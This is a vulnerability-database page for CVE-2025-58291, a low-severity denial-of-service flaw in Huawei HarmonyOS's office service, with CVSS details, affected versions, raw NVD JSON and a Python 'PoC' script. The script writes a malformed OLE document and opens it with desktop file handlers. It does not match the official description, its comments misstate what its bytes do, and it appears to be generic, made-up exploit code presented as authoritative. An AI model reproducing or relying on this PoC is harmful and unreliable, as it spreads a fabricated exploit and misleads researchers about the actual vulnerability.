Security Vulnerability Report
中文
CVE-2025-58291 CVSS 3.3 LOW

CVE-2025-58291

Published: 2025-10-11 09:15:34
Last Modified: 2025-10-16 15:23:41

Description

Denial of service (DoS) vulnerability in the office service. Successful exploitation of this vulnerability may affect availability.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:* - VULNERABLE
华为办公服务(Office Service)受影响版本(具体版本请参考华为官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58291 PoC - Huawei Office Service DoS # Vulnerability: Denial of Service in Huawei Office Service # CVSS: 3.3 (LOW) # Attack Vector: Local, requires user interaction import os import sys import struct def generate_malicious_document(): """ Generate a specially crafted document that triggers DoS in Huawei Office Service when opened by the user. """ # Create a malformed office document header # that causes the office service to consume excessive resources header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE compound document signature # Craft malformed sector allocation table (FAT) # with circular references causing infinite loop fat_sector = b'\xFF\xFF\xFF\xFF' * 128 # Invalid FAT entries # Add corrupted stream data to trigger resource exhaustion payload = header + fat_sector # Write the malicious document output_path = "malicious_office_doc.doc" with open(output_path, 'wb') as f: f.write(payload) print(f"[+] Malicious document generated: {output_path}") print("[*] When opened with Huawei Office Service, this may trigger DoS") return output_path def trigger_dos_local(): """ Attempt to trigger the DoS condition locally by sending malformed data to the office service. """ try: # Locate the office service process or socket # and send malformed input to trigger resource exhaustion doc_path = generate_malicious_document() # Attempt to open the document with the default handler if sys.platform == 'win32': os.startfile(doc_path) elif sys.platform == 'darwin': os.system(f'open "{doc_path}"') else: os.system(f'xdg-open "{doc_path}"') print("[!] Document opened. Monitor the office service for DoS condition.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-58291 - Huawei Office Service DoS PoC") print("For security research and testing purposes only") print("=" * 60) trigger_dos_local()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58291", "sourceIdentifier": "[email protected]", "published": "2025-10-11T09:15:33.810", "lastModified": "2025-10-16T15:23:41.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial of service (DoS) vulnerability in the office service. Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-29"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/10/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}